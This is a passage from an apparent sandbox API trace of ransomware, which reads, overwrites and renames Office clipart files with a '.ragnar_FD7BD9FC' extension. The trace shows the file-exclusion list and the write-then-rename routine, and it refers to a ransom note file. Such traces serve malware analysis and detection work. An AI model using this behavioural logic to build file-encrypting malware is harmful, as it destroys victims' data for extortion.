lpBuffer=0x2b0000, nNumberOfBytesToRead=0xc28, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xc28, lpOverlapped=0x0) returned 1 [0089.263] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.264] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xc28, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.264] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xc28, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xc28, lpOverlapped=0x0) returned 1 [0089.264] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xc28, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.264] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.264] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xc28, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.264] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.264] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.264] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.264] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.264] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.264] GetProcessHeap () returned 0x580000 [0089.264] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.264] CloseHandle (hObject=0xf4) returned 1 [0089.264] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02450_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02450_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02450_.WMF" [0089.265] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02450_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02450_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02450_.WMF.ragnar_FD7BD9FC" [0089.265] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02450_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02450_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02450_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02450_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.265] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59544a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd70, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA02451_.WMF", cAlternateFileName="")) returned 1 [0089.265] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.265] lstrcpyW (in: lpString1=0x1eb62e, lpString2="NA02451_.WMF" | out: lpString1="NA02451_.WMF") returned="NA02451_.WMF" [0089.265] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02451_.WMF") returned=".WMF" [0089.265] lstrcmpiW (lpString1="NA02451_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.265] lstrcmpiW (lpString1="NA02451_.WMF", lpString2="autorun.inf") returned 1 [0089.266] lstrcmpiW (lpString1="NA02451_.WMF", lpString2="boot.ini") returned 1 [0089.266] lstrcmpiW (lpString1="NA02451_.WMF", lpString2="bootfont.bin") returned 1 [0089.266] lstrcmpiW (lpString1="NA02451_.WMF", lpString2="bootsect.bak") returned 1 [0089.266] lstrcmpiW (lpString1="NA02451_.WMF", lpString2="bootmgr") returned 1 [0089.266] lstrcmpiW (lpString1="NA02451_.WMF", lpString2="bootmgr.efi") returned 1 [0089.266] lstrcmpiW (lpString1="NA02451_.WMF", lpString2="bootmgfw.efi") returned 1 [0089.266] lstrcmpiW (lpString1="NA02451_.WMF", lpString2="desktop.ini") returned 1 [0089.266] lstrcmpiW (lpString1="NA02451_.WMF", lpString2="iconcache.db") returned 1 [0089.266] lstrcmpiW (lpString1="NA02451_.WMF", lpString2="ntldr") returned -1 [0089.266] lstrcmpiW (lpString1="NA02451_.WMF", lpString2="ntuser.dat") returned -1 [0089.266] lstrcmpiW (lpString1="NA02451_.WMF", lpString2="ntuser.dat.log") returned -1 [0089.266] lstrcmpiW (lpString1="NA02451_.WMF", lpString2="ntuser.ini") returned -1 [0089.266] lstrcmpiW (lpString1="NA02451_.WMF", lpString2="thumbs.db") returned -1 [0089.266] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0089.266] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0089.266] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0089.266] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0089.266] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0089.266] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0089.266] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0089.266] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02451_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02451_.wmf")) returned 0x20 [0089.267] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02451_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02451_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.268] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3440) returned 1 [0089.268] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xd67, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.268] GetProcessHeap () returned 0x580000 [0089.268] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.268] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.269] VirtualAlloc (lpAddress=0x0, dwSize=0xd70, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.269] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.269] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.269] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xd70, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xd70, lpOverlapped=0x0) returned 1 [0089.270] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.270] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xd70, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.270] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xd70, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xd70, lpOverlapped=0x0) returned 1 [0089.270] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xd70, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.270] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.270] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xd70, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.270] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.270] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.270] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.270] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.270] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.270] GetProcessHeap () returned 0x580000 [0089.271] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.271] CloseHandle (hObject=0xf4) returned 1 [0089.271] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02451_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02451_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02451_.WMF" [0089.271] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02451_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02451_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02451_.WMF.ragnar_FD7BD9FC" [0089.271] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02451_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02451_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02451_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02451_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.271] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a3bce50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA02453_.WMF", cAlternateFileName="")) returned 1 [0089.272] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.272] lstrcpyW (in: lpString1=0x1eb62e, lpString2="NA02453_.WMF" | out: lpString1="NA02453_.WMF") returned="NA02453_.WMF" [0089.272] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02453_.WMF") returned=".WMF" [0089.272] lstrcmpiW (lpString1="NA02453_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.272] lstrcmpiW (lpString1="NA02453_.WMF", lpString2="autorun.inf") returned 1 [0089.272] lstrcmpiW (lpString1="NA02453_.WMF", lpString2="boot.ini") returned 1 [0089.272] lstrcmpiW (lpString1="NA02453_.WMF", lpString2="bootfont.bin") returned 1 [0089.272] lstrcmpiW (lpString1="NA02453_.WMF", lpString2="bootsect.bak") returned 1 [0089.272] lstrcmpiW (lpString1="NA02453_.WMF", lpString2="bootmgr") returned 1 [0089.272] lstrcmpiW (lpString1="NA02453_.WMF", lpString2="bootmgr.efi") returned 1 [0089.272] lstrcmpiW (lpString1="NA02453_.WMF", lpString2="bootmgfw.efi") returned 1 [0089.272] lstrcmpiW (lpString1="NA02453_.WMF", lpString2="desktop.ini") returned 1 [0089.272] lstrcmpiW (lpString1="NA02453_.WMF", lpString2="iconcache.db") returned 1 [0089.272] lstrcmpiW (lpString1="NA02453_.WMF", lpString2="ntldr") returned -1 [0089.272] lstrcmpiW (lpString1="NA02453_.WMF", lpString2="ntuser.dat") returned -1 [0089.272] lstrcmpiW (lpString1="NA02453_.WMF", lpString2="ntuser.dat.log") returned -1 [0089.272] lstrcmpiW (lpString1="NA02453_.WMF", lpString2="ntuser.ini") returned -1 [0089.272] lstrcmpiW (lpString1="NA02453_.WMF", lpString2="thumbs.db") returned -1 [0089.272] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0089.272] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0089.272] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0089.272] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0089.272] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0089.272] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0089.272] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0089.272] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02453_.wmf")) returned 0x20 [0089.273] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02453_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.273] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3388) returned 1 [0089.273] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xd33, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.273] GetProcessHeap () returned 0x580000 [0089.273] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.273] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.275] VirtualAlloc (lpAddress=0x0, dwSize=0xd3c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.275] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.275] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.275] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xd3c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xd3c, lpOverlapped=0x0) returned 1 [0089.275] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.275] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xd3c, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.275] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xd3c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xd3c, lpOverlapped=0x0) returned 1 [0089.275] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xd3c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.275] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.275] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xd3c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.275] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.276] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.276] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.276] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.276] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.276] GetProcessHeap () returned 0x580000 [0089.276] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.276] CloseHandle (hObject=0xf4) returned 1 [0089.276] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02453_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02453_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02453_.WMF" [0089.276] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02453_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02453_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02453_.WMF.ragnar_FD7BD9FC" [0089.276] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02453_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02453_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02453_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.277] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6a3bce50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1750, dwReserved0=0x0, dwReserved1=0x0, cFileName="NBOOK_01.MID", cAlternateFileName="")) returned 1 [0089.277] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.277] lstrcpyW (in: lpString1=0x1eb62e, lpString2="NBOOK_01.MID" | out: lpString1="NBOOK_01.MID") returned="NBOOK_01.MID" [0089.277] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned=".MID" [0089.277] lstrcmpiW (lpString1="NBOOK_01.MID", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.277] lstrcmpiW (lpString1="NBOOK_01.MID", lpString2="autorun.inf") returned 1 [0089.277] lstrcmpiW (lpString1="NBOOK_01.MID", lpString2="boot.ini") returned 1 [0089.277] lstrcmpiW (lpString1="NBOOK_01.MID", lpString2="bootfont.bin") returned 1 [0089.277] lstrcmpiW (lpString1="NBOOK_01.MID", lpString2="bootsect.bak") returned 1 [0089.277] lstrcmpiW (lpString1="NBOOK_01.MID", lpString2="bootmgr") returned 1 [0089.277] lstrcmpiW (lpString1="NBOOK_01.MID", lpString2="bootmgr.efi") returned 1 [0089.277] lstrcmpiW (lpString1="NBOOK_01.MID", lpString2="bootmgfw.efi") returned 1 [0089.277] lstrcmpiW (lpString1="NBOOK_01.MID", lpString2="desktop.ini") returned 1 [0089.277] lstrcmpiW (lpString1="NBOOK_01.MID", lpString2="iconcache.db") returned 1 [0089.277] lstrcmpiW (lpString1="NBOOK_01.MID", lpString2="ntldr") returned -1 [0089.277] lstrcmpiW (lpString1="NBOOK_01.MID", lpString2="ntuser.dat") returned -1 [0089.277] lstrcmpiW (lpString1="NBOOK_01.MID", lpString2="ntuser.dat.log") returned -1 [0089.277] lstrcmpiW (lpString1="NBOOK_01.MID", lpString2="ntuser.ini") returned -1 [0089.277] lstrcmpiW (lpString1="NBOOK_01.MID", lpString2="thumbs.db") returned -1 [0089.277] lstrcmpiW (lpString1=".MID", lpString2=".db") returned 1 [0089.278] lstrcmpiW (lpString1=".MID", lpString2=".sys") returned -1 [0089.278] lstrcmpiW (lpString1=".MID", lpString2=".dll") returned 1 [0089.278] lstrcmpiW (lpString1=".MID", lpString2=".lnk") returned 1 [0089.278] lstrcmpiW (lpString1=".MID", lpString2=".msi") returned -1 [0089.278] lstrcmpiW (lpString1=".MID", lpString2=".drv") returned 1 [0089.278] lstrcmpiW (lpString1=".MID", lpString2=".exe") returned 1 [0089.278] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\nbook_01.mid")) returned 0x20 [0089.279] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\nbook_01.mid"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.279] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=5968) returned 1 [0089.279] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1747, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.279] GetProcessHeap () returned 0x580000 [0089.279] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.279] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.280] VirtualAlloc (lpAddress=0x0, dwSize=0x1750, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.281] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.281] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.281] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1750, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1750, lpOverlapped=0x0) returned 1 [0089.284] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.284] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1750, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.284] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1750, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1750, lpOverlapped=0x0) returned 1 [0089.285] UnlockFile (hFile=0xf4, 